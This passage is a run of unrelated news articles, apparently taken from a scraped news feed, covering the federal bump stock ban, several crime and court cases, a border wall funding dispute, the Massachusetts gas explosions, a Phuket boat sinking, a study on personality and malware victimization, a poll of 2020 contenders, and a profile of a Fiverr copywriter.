qualify as machineguns under the federal statute." On the other side of the issue, Shannon Watts, founder of Moms Demand Action for Gun Sense in America, told NPR that she's hopeful the ruling could pave the way for more gun control measures. "We're very hopeful that we can go in now, in January, and put forward something like a background check bill, a bill that would close the loophole that allows unlicensed gun sales without a background check," she said, according to NPR. "And have President Trump sign that into law." Here's what Texans need to know about the state's relationship with bump stocks, and when bump stock owners need to hand over their devices. Julian Gill is a digital reporter in Houston. Read him on our breaking news site, Chron.com, and on our subscriber site, houstonchronicle.com. | julian.gill@chron.com | Text CHRON to 77453 to receive breaking news alerts by text message A GoFundMe page was created Tuesday for the 25-year-old English teacher who police said died after being beaten by her boyfriend last week in San Antonio. The fundraiser for Dorinda Ma had raised more than $20,000 by 8:30 a.m. Wednesday. The money will be used to pay her medical bills, funeral expenses and travel arrangements, so that her body can be transported to her home city of Philadelphia, according to the page. RELATED: Man accused of beating 25-year-old former English teacher to death in San Antonio-area "Dorinda's life was (tragically) taken at 25 years young while in San Antonio, Texas. She was a beautiful, free spirited and kind-hearted soul," writes the page's creator, Danielle Ma. Police investigators said they believe Ma was beaten by her boyfriend, 28-year-old Ryan Stanush, on Friday at a home in Converse. Stanush rushed Ma to Northeast Baptist Hospital after the alleged assault, and doctors put her on life support. She was taken off life support on Sunday and died, officials said. Stanush told police Ma's injuries had resulted from "rough sex," but doctors disputed that claim, saying her trauma was not consistent with such an explanation. Stanush was arrested Friday and booked into jail on an aggravated assault causing serious bodily injury charge. Police will determine whether to upgrade his charges based on a ruling from the Bexar County Medical Examiner's Office, which officials there said will be pending for the next 12 weeks. FIND OUT FIRST: Get San Antonio breaking news directly to your inbox Ma taught English at Mercedes High School in the Rio Grande Valley through the Teach For America program until November, when she resigned citing personal reasons. Several parents of her former students have posted on the GoFundMe page to celebrate her teaching skills and ability to connect with their children. "She was greatly loved and respected by her students and peers. There will be a tremendous void in the Mercedes High School staff as we struggle with this tragic news," said Daniel Trevino, the Mercedes ISD superintendent, on Tuesday. Text "NEWS" to 77453 for breaking news alerts from mySA.com Caleb Downs covers crime in San Antonio and Bexar County. Read him on our breaking news site, mySA.com, and on our subscriber site, ExpressNews.com | cdowns@mysa.com | @calebjdowns WASHINGTON Members of the House Freedom Caucus and other conservative lawmakers, including Texas U.S. Sen. Ted Cruz, rallied Thursday to block a stopgap funding measure that would keep the government open past Friday without money for a border wall. Warning that the budget battle could be their last chance to fund President Donald Trump's promised wall before Democrats take control of the U.S. House in January, the conservatives pressed House Republican leaders to dig in against a bipartisan measure passed by the Senate that would fund the government until Feb. 8. Moments after the Senate passed the temporary funding measure on a voice vote Wednesday night, Cruz issued a statement calling it a "missed opportunity" to make good on a marquee campaign promise. "Unfortunately, this continuing resolution fails to reflect these priorities by not sufficiently securing the border," Cruz said. "This is a missed opportunity to deliver on the promises made to the American people." Cruz's continued opposition recalled his role in a 2013 government shutdown as part of an unsuccessful push to block funding for the Affordable Care Act, or "Obamacare." Members of the House Freedom Caucus also took to the House floor late Wednesday night to denounce the Senate bill, which was backed however reluctantly by Senate Republican Majority Leader Mitch McConnell and other Senate GOP leaders eager to avert a partial government shutdown. Congress already has funded the majority of the government for 2019, but some half-dozen agencies or departments, including Homeland Security, are operating under a temporary agreement that expires at midnight Friday. Freedom Caucus Chairman Mark Meadows of North Carolina told reporters that Trump's "base will go crazy" if the new Senate funding bill were to pass without wall money. That sentiment was echoed in conservative social media and broadcast outlets. Among the more outspoken critics was Texas Republican Louie Gohmert, a Freedom Caucus member from Tyler, who put Republican leaders on notice in a fiery speech on the House floor. "We need Americans to help remind our Republican leaders to help our president build the wall, like we said," Gohmert said, putting GOP divisions on full display. "If we drop the ball on this biggest campaign promise, we're not going to have the majority in either house or the White House." Trump, who is seeking $5 billion in wall spending for 2019, met with House and Freedom Caucus members Thursday and pressed Democrats to ease off their refusal to include wall dollars in the funding measure. Later, at a signing ceremony for a farm bill, he said he considers border security an "absolute duty," and that any measure that funds the government "has to include border security." Although Trump did not explicitly threaten a veto, House Speaker Paul Ryan said after their meeting that Trump would not sign a funding measure without money for the wall. Ryan said House Republicans were working on a funding measure Thursday that would include wall funding or at least increased money for "border security." But even if such a bill passes in the last hours of the Republican-led House by no means a certainty it would leave the House and Senate at loggerheads, increasing the chances of a Friday shutdown. Democrats, meanwhile, suggested that the conservative rebellion was futile. "Vetoing the last train out of the station... would be doubling down on a Christmas shutdown and every single American would know it," said Senate Democratic Minority Leader Chuck Schumer. "Most importantly, it would not move the needle an inch towards the president getting his wall." If Friday's deadline passes without an agreement, the government would undergo a partial shutdown lasting possibly until January 3, when the House convenes with a Democratic Majority led by incoming House Speaker Nancy Pelosi, who could then pass a new funding measure. Try as we might, its hard to get too excited about the Trump administrations ban on bump stocks, the type of device a gunman added to his weapon to give it the rapid firepower needed to kill 58 people during a mass shooting in Las Vegas last year. President Donald Trump certainly deserves credit for fulfilling the promise he made to ban bump stocks after the Oct. 1, 2017 massacre in Nevada. The ban alone, however, wont prevent a similar tragedy from occurring. That will take sterner measures that address the actual weapons used to kill people, not just the devices that make those weapons more lethal. As many as 520,000 bump stocks may be attached to guns owned by Americans, according to the federal Bureau of Alcohol, Tobacco, Firearms and Explosives, but the ATF admits thats only a guess. Many of the devices are untraceable because they dont have serial numbers. The people who own bump stocks are unlikely to fess up and turn them in, which is what the new Trump rule requires them to do. Acting Attorney General Matthew Whitaker signed a regulation Tuesday that gives gun owners 90 days after it is published in the Federal Register this week to turn in or destroy their bump stocks. After that, it will be illegal to possess them under the same federal laws that prohibit machine guns. It should surprise no one that the National Rifle Association is opposed to the new rule, saying bump stocks shouldnt be regulated as if they were guns. Thats actually the same view the ATF took in 2010. Asked for its approval by a bump-stock manufacturer, the ATF said gun laws didnt apply to the device because it has no automatically functioning mechanical parts or springs and performs no automatic mechanical function when installed. Trump pounced on that earlier opinion by an Obama administration agency when he promised last year to ban bump stocks. Congress, meanwhile, has done its usual job of talking loud and doing nothing when it comes to gun law reform. States that have already banned bump stocks provide little reason to believe the federal ban will be effective. Five months after New Jersey initiated a ban in January, not a single bump stock had been turned in. Massachusetts passed a ban in November 2017, but by February only three bump stocks had been turned in. California, Connecticut, Delaware, Florida, Hawaii, Maryland, Rhode Island, Vermont and Washington have also banned bump stocks. The ATF estimates that between 2011 and 2017 Americans spent $96.2 million on bump stocks, which can cost from $180 to $425 each. Mark Pennak, president of a Maryland gun rights group, says its unfair to confiscate bump stocks without compensating their owners. Youre criminalizing a plastic item, and sending people to prison for three years for it, he said. His point might carry more weight if bump stocks had not been used by the killer in Las Vegas to mow down 58 people in a little more than 10 minutes. The gunman used multiple weapons outfitted with target scopes and bump stocks and then fatally shot himself. Fourteen of the 23 assault-style weapons recovered in his Mandalay Bay hotel suite were fitted with bump stocks. The ban means bump stocks can no longer be sold. Unfortunately, however, given the number of bump stocks in circulation, the Las Vegas massacre may not be the last time one is used by a mass murderer. Meanwhile, there are YouTube videos on the internet and books available on Amazon that teach you how to make a semiautomatic gun, which fires one shot with each pull of the trigger, operate like a rapid-firing automatic weapon. When are the president and Congress going to address the actual guns favored by mass murderers that, with or without bump stocks, can rain death on a crowd? They didnt do anything after Sandy Hook. They didnt do anything after Parkland. It has taken more than a year for the promise Trump made after the Las Vegas massacre to come close to being fulfilled. The rule wont actually take effect until March. The children and adults who have died in mass shootings deserve better than that. So do the families and friends they left behind. A bump stocks ban may be something, but its not nearly enough. Some Massachusetts homeowners and small businesses are still struggling to return to normalcy after Septembers dramatic gas pipeline explosions, even as the utility responsible says the vast majority of customers have heat and hot water again. Columbia Gas said this week that only about 150 customers who opted to do required repairs themselves are still waiting for service to be restored, calling its work in the Merrimack Valley substantially complete. It had originally promised to reach the milestone before Thanksgiving. But that doesnt factor in about 30 other families still dealing with extensive fire or explosion damage that will take months more to repair. Some small business owners in the region near the New Hampshire state line also say theyre still reeling because business hasnt picked back up. They say many residents either arent spending or havent returned to the neighborhood full time. And some property owners complain repairs done by the company and its contractors have only led to more problems. Our old neighbors are feeling relief, and were happy for them, said Ivan Soto, a police officer in Lawrence whose home was one of 131 structures seriously damaged or destroyed in the disaster. It feels good to know the community is starting to recover. But its a little different for us. Were not there yet. Most affected homes and businesses didnt see extensive damage, but nearly all needed hot water heaters, boilers, stoves or other natural gas appliances repaired or replaced. Over-pressurization during a routine pipeline replacement project triggered the series of natural gas explosions in Lawrence, Andover and North Andover on Sept. 13. One person died and more than two dozen were injured. Sotos modest ranch home burned to the ground while he was on duty. The 36-year-old Lawrence resident rushed home to make sure his family was safe before returning to duty to help evacuate the city. Since then, the family of four has been staying in an apartment paid for by their insurance while their home is rebuilt. They hope to move in by next spring. Soto said he parks his cruiser at their property from time to time and watches the new house rise. The rubble has already been cleared, and a new foundation was recently poured. Its nice to see the progress, Soto said. Were grateful to have a roof over head, but it isnt home. Home is on Jefferson Street. A few blocks over, Luis Heredia has all but given up after asking Columbia Gas for weeks to replace the boiler its contractors installed in late October. He said the houses basement filled up with thick black smoke on two occasions, prompting visits from both firefighters and Columbia Gas contractors. Each time, he said, workers assured him the problems had been resolved. But the 55-year-old said the house still isnt heating properly. The upstairs bedrooms where his three young children sleep are chilly unless he cranks the thermostat past 85 degrees Fahrenheit (30 degrees Celsius), Heredia said. Rather than run up their heating bill, the family makes do with space heaters. We never had problems before with our old boiler, Heredia said in Spanish. The house isnt the same. Columbia Gas declined to comment on Heredias issue but said it will continue to provide free repairs to any equipment installed through May 2020. Spokesman Dean Lieberman said the company has received a small amount of complaints on repaired or replaced equipment but declined to elaborate. Fire officials said a North Andover family was exposed to high levels of carbon monoxide last week after workers replaced a valve on the homes boiler, and a Lawrence woman said she suffered first-degree burns on her hands and face after flames suddenly shot up from her new stove. Lieberman said the configuration of the chimney and some customer-made modifications limited ventilation and contributed to the carbon monoxide incident. He said the stove incident was likely caused by a grease fire. We have no reason to believe there is a systemic problem with the repairs Columbia Gas contractors made or that there is a broader threat in other homes, he said in an email. A couple of miles (kilometers) from Heredias home, Junior Hernandez sat at the cash register of his corner store in Lawrence one recent afternoon and wondered if business was ever going to pick up. Three customers trickled into Hernandez Market during a time of the day when the storeowner said he typically sees a rush of students seeking after-school snacks, including his homemade empanadas. Hernandez, who opened the market nine years ago, said hes gone from earning $500 to $1,000 a day to less than $200. Sometimes it feels like the whole neighborhood is gone, he said. Nobody is buying anything. Columbia Gas has offered him $6,200 in compensation, but Hernandez said thats not nearly enough. He said it would cost nearly $5,500 just to replace a deli counter fridge damaged when electricity was restored to the building. Hernandez has virtually emptied his savings account to keep the market afloat, but hes reluctant to tap into the small business loan fund created after the disaster. Hes concerned he might not be able to pay the money back if business doesnt rebound. Its a gamble, Hernandez said. And at this stage, I cant take the gamble. Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Police in Thailand say their investigations found that a boat that sank in July in rough weather off Thailands southern resort island of Phuket, killing 47 Chinese tourists, didnt meet regulatory standards. The July 5 sinking of the Phoenix was one of Thailands worst recent tourism-related disasters. Three of the boats operators have been charged with negligence causing death which carries a maximum penalty of 10 years in prison and a Marine Department official is one of at least two other people facing criminal charges. Another boat also carrying Chinese tourists sank on the same day but those on board were rescued. Immigration Police chief Maj. Gen. Surachate Hakparn said additional suspects are under investigation. The accidents caused outrage in China about Thai safety procedures. Thai authorities promised justice for the victims, especially because of concern that the disaster could affect the tourism industry. More than 9.8 million Chinese visited Thailand in 2017, accounting for the biggest share of the 35.38 million foreign tourists. Surachate told reporters Monday night that according to their investigations and examination of the vessels blueprints, the boat had only one watertight door instead of the recommended four, and that it didnt have marine windows that could be broken open in case of an emergency. There were many people who died on the boat because they couldnt break the windows to get out, Surachate said. Surachate said police will produce a final report on their investigations next week, adding that experts from China and Germany also helped examine the Phoenixs structure. The Phoenix was raised from the 45-meter- (150-foot-) deep sea floor on Nov. 17 by a crane ship operated by a salvage company from Singapore. Covered in brown algae and sludge, it was then docked at a pier in Phuket. The first company hired to salvage the boat lost a member of its team during its failed operation to lift the vessel. Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. A newspaper investigation has found that private security guards in Illinois often arent as closely monitored as police officers, who in recent years have faced scrutiny over excessive force. The Chicago Tribune analyzed state and police records, court documents and media reports to find that security guards deliberately fired a gun in a work-related situation 40 times from April 2011 to June 2018. Eleven people died in these shootings. Illinois law requires security companies to report such shootings to the Illinois Department of Financial & Professional Regulation, which licenses guards. The agency also has the ability to investigate cases and evaluate if guards are fit for duty. Some small forces, such as in-house security of fewer than five guards, are exempt from reporting shootings. The newspaper found 11 shootings since 2011 that werent reported as required. Records show that none of the companies were disciplined for failing to report. R. Paul McCauley, a professor emeritus of criminology at Indiana University of Pennsylvania, said the unreported shootings signal a lack of accountability in the industry. I think thats unacceptable, he said. Im assuming the legislative intent was not to allow security people to be so-called cowboys. The newspaper also found no record in the past seven years of the state disciplining a guard for playing a role in a shooting. Illinois requires guards to undergo a background check, but doesnt require a mental health examination. There is no law barring convicted felons or registered sex offenders from becoming a guard. Armed guards undergo 40 hours of training, half of which is focused on firearms. In comparison, Chicago police spend nine months training in the academy and on the street. More than 97,000 people are licensed to be armed guards in the state as of June. The profession is dangerous, with records indicating that at least a dozen guards in recent years have been shot, the newspaper found. Those shootings resulted in six guards dying, including a security guard killed in a Robbins bar last month by police responding to a call. Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Impulse online shopping, downloading music and compulsive email use are all signs of a certain personality trait that make you a target for malware attacks. New research from Michigan State University examines the behaviors both obvious and subtle that lead someone to fall victim to cyber crime involving Trojans, viruses, and malware. People who show signs of low self-control are the ones we found more susceptible to malware attacks, said Thomas Holt, professor of criminal justice and lead author of the research. An individuals characteristics are critical in studying how cyber crime perseveres, particularly the persons impulsiveness and the activities that they engage in while online that have the greatest impact on their risk. Low self-control, Holt explained, comes in many forms. This type of person shows signs of short-sightedness, negligence, physical versus verbal behavior and an inability to delay gratification. Self-control is an idea thats been looked at heavily in criminology in terms of its connection to committing crimes, Holt said. But we find a correlation between low self-control and victimization; people with this trait put themselves in situations where they are near others who are motivated to break the law. The research, published in Social Science Computer Review, assessed the self-control of nearly 6,000 survey participants, as well as their computers behavior that could indicate malware and infection. To measure victimization, Holt and his team asked participants a series of questions about how they might react in certain situations. For computer behavior, they asked about their computer having slower processing, crashing, unexpected pop-ups and the homepage changing on their web browser. The internet has omnipresent risks, Holt said. In an online space, there is constant opportunity for people with low self-control to get what they want, whether that is pirated movies or deals on consumer goods. As Holt explained, hackers and cyber criminals know that people with low self-control are the ones who will be scouring the internet for what they want or think they want which is how they know what sites, files or methods to attack. Understanding the psychological side of self-control and the types of people whose computers become infected with malware and who likely spread it to others is critical in fighting cyber crime, Holt said. What people do online matters, and the behavioral factors at play are entirely related to risks. Computer scientists, Holt said, approach malware prevention and education from a technical standpoint; they look for new software solutions to block infections or messaging about the infections themselves. This is important, but it is also essential to address the psychological side of messaging to those with low self-control and impulsive behaviors. There are human aspects of cyber crime that we dont touch because we focus on the technical side to fix it, he said. But if we can understand the human side, we might find solutions that are more effective for policy and intervention. Looking ahead, Holt hopes to help break the silos between computer and social sciences to think holistically about fighting cyber crime. If we can identify risk factors, we can work in tandem with technical fields to develop strategies that then reduce the risk factors for infection, Holt said. Its a pernicious issue were facing, so if we can attack from both fronts, we can pinpoint the risk factors and technical strategies to find solutions that improve protection for everyone. Source: Michigan State University A proposed Texas coastal barrier is drawing backlash from some Gulf Coast residents and the states land commissioner wants more time for property owners to voice concerns. The plan is designed to protect the Texas coast from hurricanes with a barrier system of floodwalls, floodgates and seawall improvements. But hundreds of Bolivar Peninsula residents near Galveston are against it, fearing that a barrier would leave thousands of residents between a wall and the Gulf of Mexico, the Galveston County Daily News reports . Hundreds of people lined up to sound off at a public hearing Saturday, and drew such a big turnout that security officers stopped letting people into the building because of fire safety restrictions. At issue for many residents is that computer files a coalition of environmental groups obtained from the U.S. Army Corps of Engineers appear to show the barrier leaving entire neighborhoods exposed between the barrier and the Gulf of Mexico. Corps officials stressed during their presentation that plans for the placement of any barriers were not finalized. Ive owned homes here since the 80s and Im offended, David Wilkerson said. This is bad, no matter what happens. If you build this thing on the beach, tourists will stop coming. If you move it back, our homes are unprotected. Texas Land Commissioner George P. Bush has called for the U.S. Army Corps of Engineers to consider more time for public comment and another meeting for Bolivar residents. Plans for a coastal barrier follow last years devastating Hurricane Harvey, which killed 68 people and caused an estimated $125 billion in damage statewide and flooded thousands of homes in the Houston area. A state report ordered by Texas Gov. Greg Abbott and released last week warned that disasters like Harvey would continue to intensify because of a changing climate. Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Uprooted Palestinians are at the heart of the conflict in the M.E Palestinians uprooted by force of arms. Yet faced immense difficulties have survived, kept alive their history and culture, passed keys of family homes in occupied Palestine from one generation to the next. CLEVELAND, Ohio -- A judge sentenced a Cleveland man on Thursday to spend the next 23 years in prison after he struck a deal with prosecutors and admitted to killing his girlfriends 3-year-old son last year. Emmanuel Galarza, 28, pleaded guilty to involuntary manslaughter and other charges in Jaeden Gray-Coles death. In exchange, Cuyahoga County Prosecutor Michael OMalleys office agreed to drop a murder charge that would have carried a life sentence with parole eligibility after a minimum of 15 years. Common Pleas Court Judge Maureen Clancy accepted the plea and imposed the sentence Thursday morning in a hastily arranged hearing. About a dozen members of Jaedens family stood outside the courthouse after the hearing posing for photographs as they held handwritten signs that read Justice for Jaeden." Photographs of the little boy with his full, puffy cheeks, big, brown eyes and wide, toothy smile, adorned many of the signs. The atmosphere was bittersweet. The weight of the case that had been hanging over family members for more than a year had been lifted, but 23 years didnt seem like it was a long enough punishment, Jaedens paternal grandmother, Mary Beth Cole, told cleveland.com. No grandmother or mother should have to bury her grandchild or child," Cole said. Cole said the family agreed to the plea deal late Wednesday afternoon. Its just, you cant put a sentence, really other than the rest of your life, on something like this, Cole said. But justice doesnt allow for that in the court system. Emmanuel Galarza Galarza was babysitting Jaeden at a Detroit Avenue home near West 85th Street on Oct. 4, 2017 while his mother was at work, according to a police report. The boy suffered severe head trauma, according to court records. Galarza took Jaeden to his mothers work when the boy wouldnt wake up, according to a police report. The couple got into a car and sped toward Fairview Hospital. They flagged down a Cleveland police officer who was responding to an unrelated car accident, a report says. The officer wrote in the report that the couple was frantic and, when he realized that waiting on an ambulance was not an option, the officer turned on his police cars lights and siren and escorted the couple to the hospital. Galarza and the boys mother told police at the hospital that the boy fell from the top mattress of a bunk bed and appeared fine afterward, the report says. Galarza waited four hours before he sought help for the boy, a decision that substantially limited the childs recovery, according to court records. Jaeden suffered fluid on the brain, bleeding on the brain, and other injuries that were inconsistent with the explanation...that the child had fallen out of the top of a bunk bed, Assistant Cuyahoga County Prosecutor Brian Murphy said at Galarzas initial court appearance last October. Jaeden died two days after he was rushed to MetroHealth. Galarza has a history of child abuse, according to court records. He was convicted of child endangering in 2015 and has been the subject of three separate investigations by Cuyahoga County Children and Family Services. Cole, who said her son was removed from the courtroom Thursday after an outburst, said she hoped Galarza was never allowed to be around children again. Jaeden was a beautiful child, with a beautiful smile," Cole said. He made everybodys day. She paused to look at photographs of her grandson. The boy, donning an Adventures of Mickey and the Gang T-shirt, smiled in one picture as he posed next to a plastic display of the Yellow M&M character that was his same height. In another, he beamed on top of monkey bars on a hot summers day. That kid, man, she said. To comment on this story, please visit Thursdays crime and courts comments page. CLEVELAND, Ohio The city of Garfield Heights agreed to pay $80,000 to settle a federal lawsuit filed by a resident who said police fabricated a story that he threatened officers, when he actually just laughed and insulted them. Robert Spencers settlement also requires the city to train its officers on the First Amendment and how it applies to their job, as well as on limitations on forced labor by inmates, according to a news release from Spencers lawyers at The Chandra Law Firm in Cleveland. The settlement agreement says the training must take place within six months. The city also agreed to provide training materials and attendance records to the law firm for advance approval, according to the release. Spencer, 30, was arrested by officers Kenneth Falzini and David Simia in July 2017 after the officers said he threatened and shoved one of them and resisted arrest. A jury later acquitted him of the charges, including assault and aggravated menacing. He claimed in a lawsuit filed in July that he was never aggressive with the officers. A video shot by his girlfriend also appeared to contradict some of the assertions officers made about Spencers arrest in police reports. (You can watch the video above. WARNING: The video contains coarse language.) It showed Spencer insulting the officers, referring to them as Beavis & Butthead and Elvis. Spencer also tells the officers at one point and yall got the motherf-----g right to remain rank. His lawyers said the word rank means to make fun of someone. The video, in which children can be seen and heard in the background, also has Spencers girlfriend telling officers that Spencer never threatened harm and that he was just out here talking bullsh--t with the kids. Spencer, who has prior felony convictions on weapons charges, said in his lawsuit that the case against him was fabricated because he dared to laugh and make fun of police officers and that he was arrested and prosecuted for laughing while black." The lawsuit said that once Spencer was handcuffed and in the patrol car, Simia told him, All you had to do was shut the f--k up. We werent even going to arrest you. Spencer was in jail for three days before he posted bond. While in there, an unnamed female corrections officer forced him to clean his and other cells, according to the suit. He objected but said he relented after the officer threatened to use pepper spray on him. His lawyer, Patrick Kabat, said in the news release that we commend Garfield Heights for promptly committing to addressing the issues Mr. Spencers ordeal exposed. Garfield Heights Law Director Tim Riley did not respond to an email seeking comment. Spencer is currently awaiting trial in two separate felony cases in Cuyahoga County Common Pleas Court, facing charges of failure to comply, obstructing official business and drug possession and trafficking. To comment on this story, visit Wednesdays crime and courts comments page. WASHINGTON, D.C. - A new nationwide poll that gauged the favorability ratings of President Trump and a number of his potential Democratic opponents in 2020 found that 77 percent of respondents across the country didnt know enough about Ohios Sherrod Brown to form an opinion about him. The Quinnipiac University poll of 1,147 nationwide voters with an error margin of plus or minus 3.4 percentage points found that 12 percent of those surveyed had a positive impression of Brown, while 9 percent had a negative impression. The pollsters found former Vice President Joe Biden had the highest favorability ratings of the candidates they asked about, with a 53 to 33 percent favorability rating. President Donald Trumps favorability rating was underwater with 40 percent approval and 56 percent disapproval. Former Democratic presidential candidate Hillary Clinton had the highest unfavorability score of those they surveyed with 32 percent approval and 61 percent disapproval. When asked about the survey results, Brown said he was surprised that only 77 percent had not heard of him. He said he hadnt thought of running for president until recently, and many of the other contenders have been running for president for years. I have better things to do than worry about national poll numbers or Iowa and New Hampshire poll numbers, Brown said, adding that his dignity of work political message has drawn interest in his candidacy and will be attractive to voters. He said that he and his wife, columnist Connie Schultz, are still undecided about whether he will run for president. He said he has not met with former President Barack Obama to discuss a presidential run. I know lots of people check that box, he said. I suppose at some point I will. Brown wasnt the only potential Democratic candidate with low national name recognition. More than half the surveys respondents didnt know enough about California Sen. Kamala Harris, New Jersey Sen. Cory Booker, New York Sen. Kirsten Gillibrand, and Texas U.S. Rep. Beto ORourke to have opinions about how theyd fare as president. And some of the better known possibilities - like Massachusetts Sen. Elizabeth Warren and former New York City Mayor Michael Bloomberg - had favorability ratings in the negative range. Vermont Sen. Bernie Sanders got positive evaluations from 44 percent of those surveyed and a negative evaluation from 42 percent. For Democrats gearing up for 2020, its Biden and Bernie, with Beto looking for a foothold and Hillary wondering if the train has finally left the station, said a statement from Tim Malloy, assistant director of the Quinnipiac University Poll. Former Vice President Joseph Biden leads Vermont Sen. Bernie Sanders among Democrats and young voters, while soon to be ex-U.S. Rep. Beto ORourke is way back. OCEAN SPRINGS, Mississippi -- The former owner of an Ocean Springs martial arts studio charged last year with two counts of sexual battery against a minor has been arrested again on similar charges. Todd Pisarich, 50, was arrested by U.S. Marshals in Santa Rosa County, Florida, according to the Jackson County Sheriff's Office. At the time of the initial indictment last April, Pisarich claimed it was the result of a "smear campaign." Since then, however, he's been indicted by a Jackson County Grand Jury on four new counts of sexual battery, two counts of unlawful touching of a child, and one count of attempted unlawful touching of a child, according to the JCSO. The Santa Rosa County Jail Docket shows Pisarich's current address as 102 Tantallon Drive in the St. Andrews community southeast of Ocean Springs. He is listed in the docket as an "out-of-state fugitive." JCSO spokesperson Marcia Hill said they do not yet have a timetable for when Pisarich will be brought back to Jackson County. The new indictment is not yet public record because Pisarich has yet to be served, which presumably will happen upon his return to Jackson County. Without the indictment, details on the new charges are not yet available. Pisarich was free on $40,000 bond from his first arrest when he was arrested this week. He was also ordered to have no contact with the victim. At the time of the first arrest, he was the owner of the Academy for Mixed Martial Arts on Old Spanish Trail across from Ocean Springs Middle School. Jackson County Sheriff Mike Ezell said at the time the arrest was the result of a five-month investigation of Pisarich which began in November 2016 after allegations of sexual abuse and inappropriate contact by Pisarich towards juveniles first surfaced. According to the initial indictment, on Oct. 13, 2016, Pisarich engaged in sexual penetration with a minor, who was not a student at his martial arts school. Ezell also said at the time that additional charges against Pisarich were expected. Like many young professionals, David Feldman had dreams of climbing the corporate ladder and landing a corner office. But once on he was on his way, he realized a corporate career actually wasn't for him. So Feldman gave up a well-paying job in finance to freelance copywriting on Fiverr. Despite the drastic career change, Feldman, 38, hasn't had to sacrifice his comfortable lifestyle; now, he's making well over $100,000 a year, enough to support his family of four in Boise, Idaho. "I was a financial analyst for 12 or 13 years, and then just decided I wanted to be a copywriter, so I did it," Feldman tells CNBC Make It. "Nobody was there to stop me, so I just did it." The corporate finance life Before Feldman started freelancing, he had what most people would consider an enviable career. He worked as a financial analyst at a number of corporate behemoths, including Orbital ATK (which has since merged with Northrop Grumman), Exelis, Micron Technology and even a brief stint at Goldman Sachs in New York City. Feldman's venture into the corporate world began shortly after he graduated from Brigham Young University in Provo, Utah with a degree in finance in 2005, when he landed his first job as an analyst for L-3 Communications, a defense aerospace company. He was bringing in around $50,000 a year; not bad for an entry-level salary in Utah nearly 15 years ago. But he had his eyes on a shiny, new job at Goldman in 2008. There, he was making slightly less money for his base salary ($46,000), but as with many financial analyst roles, the bonus which Feldman says could have been $20,000 or more would make up for it. Plus, to him, Goldman was the pinnacle of success. Unfortunately, that enthusiasm faded. Feldman started his gig at Goldman just weeks before the financial crisis hit. When it did, he was told he would not get a bonus. Feldman was working on the cash valuation desk, helping migrate one of Goldman's New York City offices to Salt Lake City and the hours were long. His son was just 2 at the time and his wife, Melissa, was pregnant, yet his work-life balance was nonexistent. Feldman remembers one late night conversation he had with a co-worker when they had been working around 80 to 90 hours a week. "We were there probably at midnight one night and just calculating what our salaries were based on the hours we were working, and it figured out to be like $7 an hour or something. It was something crazy low," Feldman says. "And we were joking around like, hey we can just go work at Taco Bell and be making more money than we are making here." Even then, with just a few years in the workforce, Feldman was becoming aware that corporate life might not be for him. Still, he pushed forward, working for Goldman for around a year, then at companies in Kansas City, Missouri and Salt Lake City. Leaving the rat race Feldman had a pretty good idea of what life would look like if he kept his career as a financial analyst, and he didn't like what he saw long hours and sacrificing time with family. It's funny, says Feldman: "I had these dreams of when I graduated [college], getting these awesome jobs at Goldman or other big investment banks or these big companies and working my way up and being successful, being the CEO or whatever." But once he was in the finance world, Feldman daydreamed of a job he had in school: He'd operated his own window washing company, and in many ways, he says, that job was more fulfilling. "I actually loved it," Feldman says of his window-washing days. "Because I was in control of my own schedule, I could work on Saturdays, as long as I wanted, when I wanted. When I needed money, I made the money. Nobody told me what to do. And I kind of looked back on that and I thought, 'You know what? That was like the best job I ever had.'" So in 2014, Feldman quit corporate life. "I'd just be sitting in meetings and thinking, 'What am I doing here? How can this be my life? This is not what I want my life to be,'" Feldman says. "I just came to a point where I was like, I can't do this anymore. I've got to figure out a way to do something and be happy, because if I die tomorrow, I would not be happy if I just worked for 10 years in a gray cubicle. That is not what I would want on my tombstone." Melissa, now 38, was supportive of his decision. They sold their house in Salt Lake City, and used the equity to take their family on a nine-month trek throughout Europe, traveling to Paris, Barcelona, Madrid, London and then Mexico. They left for their adventure in November 2014, returning to the states in June 2015. The Feldman family in London, England. Cracking the code to successful freelancing During their time abroad, to keep them financially afloat, Feldman signed up for Fiverr, the online marketplace for freelancing services that range from writing to business to programming and tech. The end goal was not necessarily to have Fiverr be his new full-time gig, he says, but simply a way to make some extra cash while traveling and figuring out his next steps. Initially, in late 2014, Feldman's Fiverr offerings were very much in his wheelhouse: financial analysis, Excel modelings and PowerPoint presentations. But there was hardly any demand, and he had only sold one or two of those gigs priced at around $20 each. So Feldman started poking around on Fiverr, trying to figure out how people were making serious money. He looked at how many orders sellers had in their queue, what they were selling and what their reviews were. That's when he stumbled across a "brainstorming" gig. People were offering services like, "I will brainstorm five names for your book" or "brainstorm names for products." Feldman thought to himself, "I'm pretty creative, I can come up with names for people," and began offering brainstorming services. He posted a video advertising his brainstorming service and demand picked up. At first, while still on the road, Feldman was making around $600 a month via Fiverr. Orders were rolling in and he was getting good reviews, so it inspired him to figure out ways to ramp up his business. He hunted around Fiverr for other lucrative gigs. When he hit upon copywriting and its high demand, he started offering the service in mid-2015, charging $5 for 100 words. No matter that he hadn't done it before as long as he could learn. "I feel like I have kind of a natural ability to talk to people, to engage people, to make them feel confident that I can help them ... like I know what I'm talking about, what I'm doing," says Feldman. "And so I think people, whether it's on Fiverr or anywhere else, I think that when they came across me, they thought, 'Oh, this guy knows what he's doing, and he's got a bunch of good reviews.'" It was around this time that Feldman and his family returned to the states. With his family's finances dwindling, he took a corporate job in Boise, Idaho, but still kept his Fiverr side hustle. Soon, Feldman's copywriting business on Fiverr exploded and he was essentially working two full-time jobs. He would wake up at 6 a.m. to handle Fiverr, then go to his corporate job, and then after getting home around 5 p.m., he would work on copywriting until 1 a.m. It was exhausting, Feldman recalls. He'd raised his prices and was making enough money via Fiverr to support his family, but he was under contract at his corporate gig. It took two years to fulfill his contract, then Feldman quit the rat race for good in May 2017. "It was literally opening up the door for me to be my own boss," Feldman says. "I could finally see a light at the end of the tunnel, which was really motivating and fun, actually." David Feldman and his wife, Melissa. At that point, Feldman was bringing in $7,000 to $8,000 a month from his copywriting services. Now, Feldman has expanded his writing services and offers sales copywriting (priced at $5 for 20 words), Amazon product descriptions (prices run from $45 to $85), SEO blog posts and articles (priced at $100 for 1,000 words) and building Wordpress websites (priced at $495). His profile boasts over 1,000 reviews, with a rating of 4.9 out of 5 stars, many of which note that Feldman is easy 